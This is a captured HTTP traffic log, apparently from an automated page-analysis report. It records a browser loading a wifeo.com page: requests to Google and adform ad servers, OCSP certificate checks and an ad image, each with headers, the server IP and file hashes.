GET /dbm/ad?dbm_c=AKAmf-CMFjlCYhF4bXqL7oYsQ_ktpQqAq_4_kFCFyARe5rgRQloDs5jtWqcJpO3OXxtKG-hITomA&dbm_d=AKAmf-Bu8n8zpWL0MZ--6xkxKwTJhHkQJItJ0qr1ue_AJ101guX1nQNBCp_PyGzPKQIJ1jrc2QGN_kWsmdEyndmKDSQVfI74nEslDUkqCD_C8PgNokAKGwTCnKUvOdvML40dX50_vfzW9_JlENFDzIOlatXPhGFOjunS5va2ZTAdv26z4cXFlqXmscnyTvicIxF16e0XM7-eHc5DaTl5qc6476Q1Fd6hOLvP_hNk152Y_fh3cRYnpL8f5R4GqfYdhDIv3t8gJxRwqQVKRZsH1NegexOF8yfWtux3AoG4ChnZP3DmLIwEsLa4JpOIqCn3hYkmTUf-0DgTMba-rqMtKdZw8Hb_AmO6P22GjGKwdRyDvg4VnXnYf8wxNydhAqH069msLhr4-usi5a6GxEHiJ6Tso4uuwcUjO_JFUgoSk-jCbq7rcIVPbQEHuWCG0RUVRV_KIZgkcPvzbg09UacNFQL57p9R1OLNfL5xoTJ7juD6DGEqlnYER9XbRQ_cduaUz0UkuX3H_vX_uDxpr_TA_OKNWsbkP-mvZ731w5podjF-ugYN62Mrj83laH7yLr-tBi3_nxjoM6BNug7sL5fAA5Vk3j5QaRIzGmuzOkngcNMyzuomVaLE5MhWl-QunbaHlvUvC1F1wqdjfz3e9Td3KySZwOuPMvxKycGomjdgwdF03X26hEaRChIbkn5uZCZ-3mAxh91Se_g7O6XK9rUNEi-Xa8AXVX8g6sP67vB568JPyLOzjcGoUZQSmy2_QJrwwi8NowIUwW1m21Hvj4GBxs0DMScN93EN-ekqbFcCtKfFdNDP14LvJT0eopPp1SoDKod5zTf1vStq2U1euV-GZeHBkunBHNOVGxgZHpcgxTPTdqcp0JPPEfpF3dFzC1XUxYEH2tt5lO4w406rl8UxE7MvAW-w34DiW9CPiJ16IrJxHtMXmrxS0WbgnyYAkZll-ysV9pXoXd7ZmFI2OrB20Gsoo3WisJOKspMU2BmiklLvaF0IStnSNNnPoq9UVyxO8x-h3PIySe0ClEVkjJ0MS25N0ILrcBwvPxhy4uECzI6ACkewJ5d93ERxM7jMgUup0oqID6IlOsGEx4Q4OOANXeFbIf6aO9Gg2nf-Y6z8v3uEGeJXQIg1dDxmrFXdz2Tfz6MAcvFXzHiEBZWO8KnXdDvbD201ZSgvWgCgq-uvirH97pYc81kCSN8rEl2Z65nLFJBD55rX3b5xzgHRJItjaHZQWJOi2wv-EZW8ieTjPJ3JVT-gFLS7q4CpiVDkwgZVWYlCKNIJ8YH9sCmlX1CUJy6mqIvg0DEmKy1E2dMAjl8wTS9liQgrXsmzlhxzYyV9MDq03LB_R7zNBEkB7pcTkOBS9cnrPmnPeO-mXfMlgkAkbd91dtxuS2CBiYtCcZH4k2V8lNJ7Rq0w_E08caJEyxjYcdeuSBeTtbHrw0uXm8vkSMshIAZ5taWC71eAqe2ve36VL-EnOgkRBFORSdLoW07KoEXW4Q4CSkyS-b0e4uUaakOWawX5-sOD9GZ-38_-5IAYUZWaUb812tcIgCzDdJQAOqIHvNV-CroCNNuyPoevy6eY8EOuENCtDu1HVDm37DA00wCgxsjNoMaSl_RVSizUXokBKVdKMznZv9Z0w_HrUBheuyTiXTw&cid=CAASBORokGo&rfl=3%2C%2Chttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%240 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606 Cookie: test_cookie=CheckForPermission	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe X-XSS-Protection: 1; mode=block Set-Cookie: IDE=AHWqTUnn2NtYWl1hZdKDFQWtlBKeVpNX62MFUtF1iTm6eK6fGtFI8OdXNF2X6wUB; expires=Thu, 13-Feb-2020 14:02:41 GMT; path=/; domain=.doubleclick.net; HttpOnly test_cookie=; domain=.doubleclick.net; path=/; expires=Mon, 21 Jul 2008 23:59:00 GMT Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 10862 Md5: e8af50a817f03b315617f2e8c97e42ed Sha1: ff7beb18dc4697e24baf6be5baefd155e3a1f7fc Sha256: 6c5bda340d298836354d705fe351f966af4d68fcd71c383dea346a6dd5d1a1ed
GET /xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNX2YrS8W8jkmTBxKWbYGjDOX7e1TbQovl8_Xvp22_mNVEyYmjOczBRnRT1PZlfi2H35Fkhh HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560105&bpp=4&fdt=349&idt=445&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=3781&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=3&dtd=471 Cookie: test_cookie=CheckForPermission	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Cache-Control: private X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; expires=Mon, 21 Jul 2008 23:59:00 GMT IDE=AHWqTUk7nlTwsCZJsywhq8F0q-VgiwOsjyuPuOg16EODOLz1w_iPn625OCBie-zK; expires=Thu, 13-Feb-2020 14:02:41 GMT; path=/; domain=.doubleclick.net; HttpOnly Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 214 Md5: 02247d909a831178bfbddac723940ebd Sha1: 9d29a593fe8e22024b5091691df54e3a02a3ba82 Sha256: 48647fe897d3f952a9ad4422e05ed61869c9bf0d2108a78bd2eba0f5eed26446
GET /pagead/gen_204?id=xbid&dbm_b=AKAmf-BgoA2w1NASbZEJL93drJwYSwO4zfHjrGRquqtovopGJXtHztlGRXKmqc9sBFIOEuI-bOowT_ZNAdHIXl-VDvIo_9ralrmLCi-bIbaBqmqVCmDog7U HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560105&bpp=4&fdt=349&idt=445&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=3781&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=3&dtd=471	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
POST / HTTP/1.1 Host: gn.symcd.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	23.52.27.27 HTTP/1.1 200 OK Content-Type: application/ocsp-response Server: nginx/1.12.2 Content-Length: 1416 Content-Transfer-Encoding: binary Cache-Control: max-age=372329, public, no-transform, must-revalidate Last-Modified: Sat, 10 Feb 2018 21:25:53 GMT Expires: Sat, 17 Feb 2018 21:25:53 GMT Date: Tue, 13 Feb 2018 14:02:41 GMT Connection: keep-alive --- Additional Info --- Magic: data Size: 1416 Md5: 3f891a32eed58b6879f292ff7e025afd Sha1: ed3c9623210bcd94514c81872dadd71ebddc5a9e Sha256: ed1f2baca5463feb271751d58638701fc1c8f0205ee271890aa95acd71e0992d
POST /GTSGIAG3 HTTP/1.1 Host: ocsp.pki.goog User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 107 Content-Type: application/ocsp-request	172.217.21.142 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:41 GMT Cache-Control: public, max-age=345600 Server: ocsp_responder Content-Length: 463 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN --- Additional Info --- Magic: data Size: 463 Md5: 3f8666a5bea36283578bc10ee5cd930f Sha1: 526a530c3057adf847bbba35e96736f4d641585b Sha256: 166a98b8491197265873aa5ff9f1e46c79443bc0e509cd240513fed08e9578a9
GET /adfscript/?bn=21309103;rtbwp=WoLwAAAOeHcKGJfVAApDtvcIILCSCAXLybOkMg;rtbdata=x-QconeWRJpxwDvr0OWHi78hmukHVFK8RQCTAR5cr1QHlafa_rFEhbQfGhgG7vcW8OkrmmqwEdB933qZg4wmMYNMQbPfzw_mMmMNdHuK2dgX-fHbLYycSQc0iLIxrm_3MPyXCqTm1hC9-bNoFRpauMUIoYLXePiAR3Zqz6_FPkAlbAFnxTTVD28qB6yJN0y0jw9PKFYxjICVssFwilRnsaQF4kkqyKa7w3iI60gHGBc1;nofp=1;click=https://adclick.g.doubleclick.net/aclk?sa=L&ai=Ci7J6APCCWvfwOdWvYraHqfAPxcefvU2-0LiF5QLAjbcBEAEgAGDD3KSFmBiCARdjYS1wdWItNTQzOTI4NTIwMzUxNTcyM8gBCakCE2Tw8uI0hj6oAwGqBJ0BT9AXMOfUVSiY5DJGcZeodxVkiGoBS11ntOjOZwxDrh9-mzTHnXg2eWWWiqxAf1zeVzkTrOvXfstUGDb_z1BBD9K73koNB2EvobUZja8uOH0QliJshPlT59p34w749vVF9zZTITJysmHHKUtlTTJ6odGu8p98D4LA7POw50Gqq8tbrfjA31RCagf8o_LrQ5e6xWeb5kppnLzyg3_q1IAG4p65kZmwyLeCAaAGIagHpr4b2AcA0ggFCIBhEAE&num=1&sig=AOD64_19LQnk-EME2ib3WSVpuf5HvnMqxg&client=ca-pub-5439285203515723&adurl= HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264	37.157.6.253 HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Server: nginx Date: Tue, 13 Feb 2018 14:02:41 GMT Content-Length: 1548 Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Content-Encoding: gzip Expires: -1 Vary: Accept-Encoding Access-Control-Allow-Origin: * Set-Cookie: C=1; expires=Tue, 13-Mar-2018 14:02:41 GMT; path=/ P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), max speed Size: 1548 Md5: c1961ce065e8dc555ec0ca523b8b7353 Sha1: eb5a7b3704eed639d04854ff281d701f932e9e36 Sha256: d4537a48745677e091eb0f7636a9df8edd5264bb4c385e68d32c69ee7a6d66d7
GET /pagead/js/r20180207/r20110914/client/ext/m_qs_click_protection.js HTTP/1.1 Host: tpc.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264	172.217.21.129 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Wed, 07 Feb 2018 14:12:49 GMT Expires: Wed, 21 Feb 2018 14:12:49 GMT Etag: 18254379283724408787 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 3642 X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=1209600 Age: 517792 Alt-Svc: hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 3642 Md5: 24d24f1211524aff604a7a982bfb33ed Sha1: 15c0f03407eb77a3da6a7476c6ffb4b8993eaefb Sha256: 78ef839be435484d29b2cd6e0fe1a05331bf1df22f4105141e45f7ab4703f9d7
POST /GTSGIAG3 HTTP/1.1 Host: ocsp.pki.goog User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 107 Content-Type: application/ocsp-request	172.217.21.142 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:41 GMT Cache-Control: public, max-age=345600 Server: ocsp_responder Content-Length: 463 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN --- Additional Info --- Magic: data Size: 463 Md5: d49329b6cf95ee35d707f7e0ab3f891e Sha1: bad43a85defedc6449b6bdaf779ee85d18278544 Sha256: 0580cfb371d0324bff4fc549e97d614659eade3215fc737e749308947ad948be
POST / HTTP/1.1 Host: ocsp.digicert.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	93.184.220.29 HTTP/1.1 200 OK Content-Type: application/ocsp-response Accept-Ranges: bytes Cache-Control: max-age=172800 Date: Tue, 13 Feb 2018 14:02:41 GMT Etag: "5a82cc43-1d7" Expires: Thu, 15 Feb 2018 14:02:41 GMT Last-Modified: Tue, 13 Feb 2018 11:30:11 GMT Server: ECS (arn/45DF) X-Cache: HIT Content-Length: 471 --- Additional Info --- Magic: data Size: 471 Md5: fba6a596936f70a6c3179459685d66d7 Sha1: d8146b9ad36a094c9e0ad1b7048a8c40156252ad Sha256: b0d733f2468aed518111919cb361eef5159385258b13d5549584d241a03239c3
POST / HTTP/1.1 Host: ocsp.digicert.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	93.184.220.29 HTTP/1.1 200 OK Content-Type: application/ocsp-response Accept-Ranges: bytes Cache-Control: max-age=172800 Date: Tue, 13 Feb 2018 14:02:41 GMT Etag: "5a82cc5f-1d7" Expires: Thu, 15 Feb 2018 14:02:41 GMT Last-Modified: Tue, 13 Feb 2018 11:30:39 GMT Server: ECS (arn/4667) X-Cache: HIT Content-Length: 471 --- Additional Info --- Magic: data Size: 471 Md5: bdd676092b32d438cdb3958993ee99de Sha1: f8f6992c4867e6f721a4e8776321b1c5d590c17c Sha256: 6c57d66bbd3413d976bd02ca92c9434b6c259a91a153fddbc476a44a468a1888
GET /8405476/priceline_160x600.jpg HTTP/1.1 Host: s0.2mdn.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.21.134 HTTP/1.1 200 OK Content-Type: image/jpeg Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Length: 49027 Date: Tue, 13 Feb 2018 10:55:22 GMT Expires: Wed, 14 Feb 2018 10:55:22 GMT Last-Modified: Tue, 13 Feb 2018 08:54:55 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=86400 Age: 11239 Alt-Svc: hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: JPEG image data Size: 49027 Md5: 672d02c52593f30011886fc325cd6d43 Sha1: addb929dca6638df017628fe9fc876776fd8cf4c Sha256: 8c7279d1adf9212b1f4abe84b05f297da466d43888808e57f80d0c55ee7a2b49
GET /pagead/js/r20180207/r20110914/abg.js HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Thu, 08 Feb 2018 04:54:07 GMT Expires: Thu, 22 Feb 2018 04:54:07 GMT Etag: 1003077525306946769 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 21796 X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=1209600 Age: 464914 Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; 